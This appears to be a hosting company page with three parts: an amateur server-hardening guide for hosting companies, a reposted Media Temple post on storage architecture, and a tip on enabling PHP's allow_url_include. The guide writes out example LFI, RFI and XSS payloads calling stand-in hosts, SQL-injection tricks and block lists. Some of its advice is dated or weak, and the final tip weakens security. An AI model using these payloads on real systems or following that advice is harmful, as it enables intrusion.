ParagonHost, LLC
“Home of VIP Hosting”
World Class Internet Solutions
http://www.ParagonHost.com

Securing Your Hosting Company

-= Securing Your Hosting Company =-
– Credits: DeadlyData –

Part I. Your own websites security.

The first step you always want to take to secure your hosting company is to make sure your own website.

Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there. 

Next try any Get Vars in your scripts and put a ‘ at the end of them what I mean is you have = you add ‘ so it’s yourwebsite.com/page?=’ or any other similar thing not only page= you may also try char(39) rather then only ‘ most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ‘ but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote. 
If you get an error you might want to check the script. 

The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc. 

If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)… 
If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use 
The following to browse into other places ../../../../ if they wanted to they’d view your passwd file via ../../../../../../etc/passwd 

Well right now you’d say big Woop they got some users maybe not but still have the ability to go to any forum on 
that server and upload an avatar with PHP-EXIF data in it then include it 
Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all…

Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts. 

Ok next were going to discuss the abilities of an RFI and how to block it… 
So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so 
www.yoursite.com/file.php?file=evilsite.com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.

Prevention add http:// to your mod security this way when they try remotely including a file in the URL
http://www.evilsite.com mod_security will block it.

Ok our next subject is XSS this is a tricky one on account of there are many ways around mod security blocking this… 

What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn’t really see it… but when you clicked they could potentially grab your cookie or any current stored browser information. 
With this they could use your cookie as their own to login as you… maybe even get password information from this 
cookie…

Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as… 
www.mysite.com/info.php?xss=<script>src=http://EVIL.com/xss.js</script> 
Never click it what so ever… ban the person who has sent this. 

Ok now for the mod_security bans… add <script> add <body= add </script> add “> 
And this should fix your XSS problems that can actually cause damage…

As for SQL injection the way to block this is to… add ‘ or /* to the mod security be sure to add in char(39) as it’s ‘ in php and php will in fact read it from a URL and interpret it as ‘ and still launch the sql injection.

One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once. 

Zend should fix this problem. 

Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.

Part II. Your Employees

RULE-1 -PASSWORDS
Do not use password even more then once on your servers if you do the first time some one gets your password to any 
Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company…

RULE-2 -PHONE CHATS
Always request a person’s information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.

RULE-3 -Email CHATS
This one is a bit easier there is no emotion to what the person is trying to do…
If they slip up on one peace of information be sure to email them back and ask them to correct it before even 
Sending any thing back or touching any thing.

RULE-4 -Talking to each other
While talking to each other in public services.. or services that my be able to be taped such as an IRC…
Be sure not to mention any root passwords, client names, etc…

Part III. Securing Your Server

Ok well first were going to do the obvious and CHMOD /home to 755

This is simple just go ahead and type chmod 755 /home 
Or
CD /
chmod 755 home

Next were going to make sure no user has any bash access what so ever.

This may already be setup by the current hosting control panel you are using…
If not were going to nano /etc/passwd and make sure all Linux users that you don’t want having bash are set to 
/sbin/nologin

I realize some hosting companies also do dedicated server companies so it wouldn’t work out if your client didn’t have 
bash to the server.
So this is mainly based for the shared hosting servers.

Part IV. PHP Configuration.

Now were going to do some things to PHP.ini
usr/local/lib/php.ini
^ On Most Systems
safe_mode = On
safe_mode_gid = Off
open_basedir = directory [:...]
safe_mode_exec_dir = directory [:...]
expose_php = Off
register_globals = Off
display_errors =Off
log_errors = On
error_log = filename
magic_quotes=On
disable_functions = show_source, system, shell_exec, passthru, exec, 
phpinfo, popen, proc_open, base64_decode, base64_encodem, proc_terminate 

Some explanations of the functions your disabling.

show_source(), Disables functions most shells use to view the source of other files one commonly 
c99, ModfiedC99 (c100), ModfiedC99(x2300)
phpinfo(), Sometimes will bring up XSS, also numeral overflows have been found while using PHPINFO() that and you don’t 
want people getting your version of PHP and etc. to attempt to exploit it if you may just be out of date or to up to 
date.
system, Allows Bash Commands Via PHP

shell_exec, Allows Bash Commands via PHP

exec, Allows Bash Commands Via PHP

popen, Almost like Bash not quite but close using PHP

proc_open, Almost like bash not quite but close using PHP

base64_decode, decodes base64 encryptions… reason for disabling also allows users with server access to bypass mod security

base64_encode, encodes base64 encryptions… reason for disabling also allows users with server access to bypass mod security

proc_terminate, Terminates Processes running on the server.

Some reasons for having magic quotes on, it disables most nullbyte attempts (%00)
And will stop a small majority of SQL injections.

Part V. MySQL and Apache Configurations

Disable all out bound MYSQL connections…

Besides from Trusted Servers

This may actually be set in the host’s field of the users in the actual MYSQL table, for each user account it lets you 
Give them an IP or type any I’d recommend giving them an IP…
Although when you give them and IP don’t worry it’s not that you can only have one IP able to access that user you 
do in fact have the ability to recreate the user
over and over and fill in the IP field differently each time.

Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID & UID

A reference Document on how to do this can be found here.

http://httpd.apache.org/docs/1.3/suexec.html

Comments:
What this will do with apache is pretty much make sure that the users can’t access other users directories on the 
Server this is a common vulnerability you get access to one site on the server and you get access to all websites on the same 
server… this protects against it. All though apache is running under each user using SuEXEC would solve that problem.

Part VI. SSH Keys.

It’s not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.

A tutorial on how to do this can be found here:

http://www.sun.com/bigadmin/content/submitted/ssh_setting.html 

If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.

There are some references for this located here 

http://linux.about.com/od/commands/l/blcmdl5_hostsal.htm

And here 

http://www.userlocal.com/security/securinginetdetc.php


Part VII. BackDoor-Trojan-Rootkit Proctection & FireWall Setup


Down To The Back Door Protection 

In the even some one gets access to your server even with all the security you’ve gotten so far they might just be able to figure out one way or another to slip a backdoor in or in the case of ubiquity a botnet client,

So what exactly are some things you can do to prevent this if not stop it. 

Well I honestly don’t think you can stop things like root kits, Trojans, viruses, botnet clients etc. from being on your System.

But you can stop or remove them once their on your system, or prevent them from being ran. 

What all can a person do just by having the ability to upload a file.
Not much but once they find ways to execute what they have uploaded then you can pretty much consider them having root to your server.

At this point they can run multiple exploits that may be able to BoF(Buffer Over Flow) An process running under root on your system and from there they could get lucky and have the ability to execute code as that process. 

Another thing they can do without having root is install an botnet client once this is done they have the ability to use your servers as their own resource to take other things down.

Trojans & Viruses on Linux aren’t too much of a worry as there aren’t too many out there but the ones that are made might just have enough access to delete most of the HDD on the Linux system. 

Now a couple things I’ve researched on that can help prevent this.

—
Root Kit Hunter.
—
Description:

Root kit scanner is scanning tool to ensure you for about 99.9%* you’re clean of nasty tools. This tool scans for 
Root kits, backdoors and local exploits by running tests like: 

- MD5 hash compare
- Look for default files used by root kits

- Wrong file permissions for binaries
- Look for suspected strings in LKM and KLD modules
- Look for hidden files
- Optional scan within plaintext and binary files

——-
Comments:
I highly recommend Root Kit Hunter.
—
Download
—
http://www.rootkit.nl/projects/rootkit_hunter.html
—
Clam Antivirus
—
Description:

* Command-line scanner
* Fast, multi-threaded daemon with support for on-access scanning
* milter interface for sendmail
* advanced database updater with support for scripted updates and digital signatures
* virus scanner C library
* on-access scanning (Linux and FreeBSD)
* virus database updated multiple times per day (see home page for total number of signatures)
* built-in support for various archive formats, including Zip, RAR, Tar, Gzip, Bzip2, OLE2, Cabinet, CHM, 
BinHex, SIS and others
* built-in support for almost all mail file formats
* built-in support for ELF executables and Portable Executable files compressed with UPX, FSG, Petite, NsPack, 
wwpack32, MEW, Upack and obfuscated with SUE, Y0da Cryptor and others
* built-in support for popular document formats including MS Office and Mac Office files, HTML, RTF and PDF
——-
Comments:
Honestly I’d recommend this even when using Mod-Security I’ve built shells that will in fact bypass modsecurity well 
this well scan the source codes of the PHP shell
and make sure thereï؟½s nothing that could potentially harm or allow the user to have to much access over the system.

—
Download
—
http://www.clamav.net/download/
–

Banning The Brute Forcers, FTP, SSH, etc.
—
APF (Advanced Policy Firewall)
— 

Description: 

Rather then grabbing this one off their site I figured I’d write one. 

Well in my experience this is nothing like a normal firewall you would use on an windows system it checks for things like people trying to brute force Cpanel, SSH, FTP, etc. accounts.

Allows alot of configuration options some of which may also benfit in bandwidth saving and DDoS prevention, 
Over all it blocks those ports your not using so even if some one manages to get an undetectable backdoor/botnet on your systems.
Then this will block it from connecting back to them and them connecting back to it.
—
Comments:
I will tell you no though this will be a pain to setup while hosting so many teamspeaks on account of all the ports you would have to constantly forward.
To make sure every one has the ability to get into their teamspeaks, 

Some commands that can be used with this Firewall just incase you decide to use it.

Banning an IP
apf -d IP

Unbanning an IP
apf -u IP

I recommend ignoring your own IP in the 

/etc/apf/allow_hosts.rules 

Using the following syntax you can ignore your IP from all firewall rules meaning you don’t follow them.

d=PORT:d=IP // ENABLES YOUR IP COMMING IN ON THE PORT
out:d=PORT:d=IP // ENABLES YOUR IP GOING OUT ON THE PORT

For ranges you may do the following 192.168.1.1/255

It will then forward from 192.168.1.1 to 192.168.1.255 to be enabled

—
Download
—
http://www.r-fx.ca/downloads/apf-current.tar.gz


Part VIII. DDoS Protection and Saving Bandwith + Remote Loging.
—

Server Monitoring Remotely
—
Log Watch
—
Description: 

An application that runs twenty-four seven on your server and sends the following things after going through them to your email.
-Apache_Access Logs

-Apache_Error Logs
-SSH_LOGIN’s Failed Or Succeeded
-FTP Logs
-Mail Logs
-Current HDD Sizes
-Kernel Logs
-Mail Logs
-Yum/APT-GET Logs

Comments:
This thing is very useful attempts to gain access to your server will be automatically emailed to you along with every thing that is not found gave some one and forbidden error and etc.
The only main requirement is that you have SendMail Running.

Mail Spam Protection
—

Spam Assassin
—

Description:

The core distribution consists of command line tools to perform filtering along with Mail:pamAssassin, a set of Perl modules which allow SpamAssassin to be used in a wide range of products.

Comments:
Never used it my self because I’ve never really had to bad of mail spam problems on my server but from what I’ve 
read it is in fact pretty good at filtering out the spam in your emails.

—
Download
—
http://spamassassin.apache.org/downloads.cgi?update=200705021400 

—
Some Extra Mail Protection

—
Be sure that your mail-server only allows your Server to use it or any other servers you may trust and deny all 
others
many people will attempt to use open mail servers and spam resources.

—
DDoS Protection & Bandwidth Saving.

— 
Ok first off some things people might do while DDoSing you.

Unless theDDoS attack is very strong I highly doubt it will take your whole server offline most DDoS attacks will mainly hit their targets port
in most cases their target would be Apache, but in other cases maybe even a teamspeak it’s a little more difficult to stop without having to get all of your clients IP addresses and adding them to the ignore lists in APF 

But a basic thing you can do is have APF installed drop all ICMP packets. This will disable the ability to ping your server.
Next Install DDoS Deflate

—
DDoS Deflate
—
Comments/Description:
From my own experience an well written Perl Script that was made to run along with APF and monitor how many times an 
IP is connected to your server before it bans it you may also run it manually typing the following in shell.

ddos Number Of Connections Allowed 

When this is typed the Perl script will then run an netstat command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in APF for the IP to be banned.

—
More Information can be found on this at

http://blog.medialayer.com/projects-ddos-deflate/

—-
Download
—-
http://www.inetbase.com/scripts/ddos/

Ok now for bandwidth saving and DDoS protection at the same time there is this really cool thing made for apache servers it’s called mod_evasive
It will limit the number of connections a person may open with apache and if they open to many it will ban them for what ever time you specify in the config.

—
mod_evasive

— 

Detailed Description:
mod_evasive is an evasive maneuvers module for Apache to provide evasive action in the event of an HTTP DoS or DDoS attack or brute force attack. It is also designed to be a detection and network management tool, and can be easily configured to talk to ipchains, firewalls, routers, and etcetera. mod_evasive presently reports abuses via email and syslog facilities.

Detection is performed by creating an internal dynamic hash table of IP Addresses and URIs, and denying any single IP address from any of the following:
* Requesting the same page more than a few times per second
* Making more than 50 concurrent requests on the same child per second
* Making any requests while temporarily blacklisted (on a blocking list) 

This method has worked well in both single-server script attacks as well as distributed attacks, but just 
like other evasive tools, is only as useful to the point of bandwidth and processor consumption (e.g. the amount of bandwidth and processor required to receive/process/respond to invalid requests), which is why it’s a good idea to integrate this with your firewalls and routers for maximum protection.

This module instantiates for each listener individually and therefore has a built-in cleanup mechanism and scaling capabilities. Because of this per-child design, legitimate requests are never compromised (even from proxies and NAT addresses) but only scripted attacks. Even a user repeatedly clicking on ‘reload’ should not be affected 
Unless they do it maliciously. mod_evasive is fully tweak able through the Apache configuration file, easy to 
Incorporate into your web server, and easy to use.

— Comments:
This is a module I have in fact used with Apache before it honestly can get annoying if you configure it incorrectly 

because you will be simply visiting the website and get banned.

—
Download/Install Tutorial

Sources:

http://www.webhostingtalk.com/showthread.php?t=616368

http://www.eth0.us/mod_evasive

Aggregation:

ParagonHost Managed Web Hosting

http://www.ParagonHost.com

–= That Will Cover Alot Of Security Issues =-

Hope you learned something, and benefited your server..

Have a good day!

What is GRID Hosting Technology?

http://www.ParagonHost.com

Part of our infrastruture that powers ParagonHost and TheSpamBusters use’s Grid Technology from Media Temple. Here is a bit of “Tech” info on the Methodology of this Technology.

Anatomy of Storage on the GRID

March 6th, 2009 at 6:06 pm

A road to better transparency

Customers may remember that early generations of the GRID required significant changes to the way MySQL operated. The initial uptime on this service segment was not very good. Ultimately we solved the database problems and our discoveries led to the development of some highly unique auto-scaling technology. The series of events led us to become more transparent and write the article “Anatomy of MySQL,” which helped our customers understand our systems much better. We also made a full commitment to our Incident Status System, which has now tracked over 200 public-facing incidents.

We have been successful at improving transparency, but our customers are asking for more information. We intend to provide it. While our incidents have delivered a better level of accountability, they have fallen short in satisfying the deeper concerns our customers have regarding the ongoing storage problems.

Our oldest customers (the ones who tend to be early adopters and our most loyal) have been the group most seriously affected by the storage issues of our 1st-generation architecture. This doesn’t make us happy. Our original transition agenda has not worked out as planned and there have been many factors delaying us from migrating these customers to technology that is reliable.

We’d like to help you understand what’s going on now.

1st Generation vs. 2nd Generation

(mt) caters to intense customers so our storage systems need as much performance as possible. For the original GRID storage architecture we selected BlueArc’s Titan hardware, which continues to power our 1st-generation Clusters 1 and 2. Beginning with Clusters 3, 4, and 5 (mt) chose Sun Thumper and Thor equipment.

1st-Generation Architecture

(where last weekend’s incident occurred)

At the time, BlueArc Titan was the fastest storage technology available. Our research indicated that the system was extremely redundant internally — every cable, controller, disk, and front-end head was cloned. However, even with all of the failover protection we still had numerous issues with instability and crashes in firmware. Because every component is redundant, we assumed the system was protected from failures — however, there are 3 major reasons why, in our opinion, downtime still occurs.

1. Unreliable Failover
   In the case of a crash, our experience was that failover took an exceptionally long time (5-10 minutes.) Some of the crashes, such as the one last weekend, exhibited extra issues. Our assessment is that the bug that caused the first HEAD to crash (in this case, a corrupted filesystem) would cause the second HEAD to crash as well, essentially bringing the redundant system fully offline. This is not cheap equipment — we expected it to work.
2. Lack of OS Independence
   Originally we created a massive storage pool to serve both the cluster node operating system as well as User Data. Our design trusted this safe coupling because of the internal redundancies inherent in the BlueArc Titan. This also served an efficiency goal by reducing each cluster’s power footprint. In the end, when there were storage problems, every public-facing server had a high crash probability. Engineers would have to address both storage issues along with cluster node recovery. This design was a mistake on (mt)’s part and the practice has been replaced with a much better method.
3. Complicated Upgrades & Maintenance
   The firmware version in our BlueArc Titan makes upgrades take an extremely long time and require full-cluster downtime. This has led to maintenance windows far longer than we (or you) want for your services.

BlueArc Titan is an extremely robust system and it is fantastic at many things. The company’s engineering and support infrastructure is top-notch. However, we have had too many core issues and have consequently been forced to rethink our storage architecture completely. BlueArc is a tremendous company with a top-tier product, but, in our opinion, it is not the proper solution for our needs.

2nd Generation Architecture

Our new generation Clusters 3, 4 and 5 use a combination of a new storage design, along with more extensible storage technology powered by Sun Microsystems. Still fully hardware redundant on all levels, the combination of new design and the more flexible Sun equipment allows our new architecture to be more reliable. This architecture is currently in the process of being rolled out transparently to Cluster 1 and Cluster 2.

• Decoupled OS & Storage Segment Isolation
  If one part of the storage network has a problem, such as a runaway user process causing high disk I/O, it is isolated from being able to affect customers on other segments. Also, the root OS remains totally isolated so there is no degradation to cluster node performance. This, combined with a smaller number of customers per storage segment, leads to a far more reliable system. The possibility of a problem with one segment (such as we had this weekend) has much less of a chance to cause global problems.
• Better Caching
  People look at your site a lot more often than you change it, so we can actually cache quite a bit of your content for you in in the Storage Segments. Spinning mechanical disks are slow. We have increased our levels of cache more than 20x across the storage network. Our customers have already seen notable performance and stability gains because of this.
• Granular Diagnostics
  Using DTrace, a very powerful diagnostic tool in Solaris 10, we are able to conduct highly sophisticated real-time monitoring to catch incorrectly coded scripts or other unintentional issues that put excessive load on a given storage segment. This level of insight is not available in closed platforms, where real-time diagnostic tools tend to be limited to the vendor’s engineers.
• Quicker Backup Recovery
  In the event of a serious filesystem failure, under the old architecture recovery from backup was possible but took a significant amount of time (even with fast disks and 10 gigabit networking, copying 15 terabytes of data from one disk system to another takes hours). In the new architecture, backup servers have the same performance capabilities as their data source and they are larger in size. Even in the unlikely case that we need to revert to a backup, engineers can perform the task in minutes. 

Moving OLD customers to NEW technology

With all that being said, why are some of our customers still on the original architecture? It seems like they should have access to improved systems first right?

 

We needed to prove that our new designs were significantly better than the original designs. Even after receiving great results from our labs simulation, we elected to honor the lessons of the past. We have learned time and time again that real-world results always teach us things that are impossible to find in simulation.  To this end we launched Cluster 3 and began rigorous observation. Second, the original Sun hardware platform also displayed some hardware-related glitches once it reached production. This delayed implementation until we were sure that its successor, to which we have upgraded, had eliminated these issues.

So how are we proceeding with getting the remainder of Cluster 1 and Cluster 2 to this new, proven design?

Two major ways.

Upgrading Cluster 1 and Cluster 2

First, we are well underway with the in-place upgrade. The most time consuming part of this process is migrating the vast amounts of data from one system to another, while keeping the transfer rates and load gentle enough not to cause any performance issues to everyday operation. At time of writing, 37% of Cluster 1 customers, and 44% of Cluster 2 customers have already been migrated.

About a month ago, we dramatically accelerated this process and have purchased 100% of the hardware needed to complete the project. We anticipate that the entire process should be completed by 06/2009. Most customers will be on the new architecture much sooner than that.

Next 30 days, Cluster-to-Cluster migration tools.

We have committed significant developer and administrator manpower to the development of Cluster-to-Cluster migration tools. Currently, it is possible to migrate yourself to a new cluster, utilizing the technique described in our Knowledge Base . This method is complex and not highly recommended. The first version of the migrator tool will eliminate a lot of the manual steps.

We have good technology today. But, there is more to come.

Our 2009 storage road map is exciting. As our new architecture continues to prove itself, we are not stopping development of new technologies.

• Storage segment fencing In our 2nd-generation system, storage segments are more individually isolated and overall less likely to cause system-wide disruptions. Additionally we are in the late development phase of special “fencing ” software which adds an additional layer of protection when storage malfunctions. This software keeps the cluster healthy and functional even during extreme cases of disk turbulence.
• Storage-Eye View Using the powerful insight given to us by DTrace, we are developing automators that actually solve storage issues without human intervention. These self-healing tools are also being leveraged to provide customers with new reports and details concerning the behavior of their applications. Awesome.
• SSD Sun is pioneering the integration of SSD (Solid State Disk ) technology in a very interesting way with their Hybrid Storage Pool products. We are currently experimenting with this technology in our labs. The results are looking fantastic.

A final note about redundancy

We would like to communicate the exact current high-availability (HA) status of clusters with in our GRID:

Currently HA:

• Every drive. We have 100% RAID through the system.
• Every server.
• For storage segments and all other critical servers we have full internal redundancy (power supplies, fans, etc.)
• Load balancer, networking, and hardware.

Currently Not HA:

• Intra-cluster networking equipment, including cables. We have hot spares that can be activated within 5-20 minutes, but it’s not HA. We are considering changing this in our (cs) product but we are still debating the uptime advantages.
• Storage segments. We can fail over to the backup if needed, and we can typically recover from any other non-catastrophic issue within 3-5 minutes.
• Individual MySQL servers and Containers.

Summary

We understand downtime may represent a once in a lifetime, non-retrievable instance, so we are committed to producing more stable, flexible and powerful hosting.

(mt) Media Temple has committed to communicating with our customers more effectively as well. Given our recent stumble we clearly need to improve our communication systems. Soon we will further integrate our information flows with rapid-broadcast systems like Twitter and VoIP. We’re going to keep looking for ways to get you information quickly.

(mt) Media Temple aims to be a proactive and agile company working to address the varied needs of our clients. This is a serious promise.

URL file-access is disabled in the server configuration

 

I’ve recently upgraded Apache and PHP on my VPS, and one of the unpleasant surprises was that some scripts which tried including pages from remote sites (I know, not the most secure approach, but there were reasons for that) got broken.

allow_url_fopen

Traditionally, all the websites Google finds suggest that you double-check that your php.ini config has the allow_url_fopen enabled:

allow_url_fopen = On

Well, in my case it was enabled, but scripts were still broken. The really weird thing was that the upgrade procedure didn’t include changing the php.ini in any way, so it was fully working before and I kind of expected it to continue working.

allow_url_include

After some quick research, I’ve found out that PHP 5.1 introduced a new security option to accompany the allow_url_fope, and this was exactly the option which broke my scripts:

allow_url_include = On

PHP 5.1 , by default is allow_url_include = off ! – Turn this to On and Bingo!

There you have it, hope it helps you next time you come across this problem!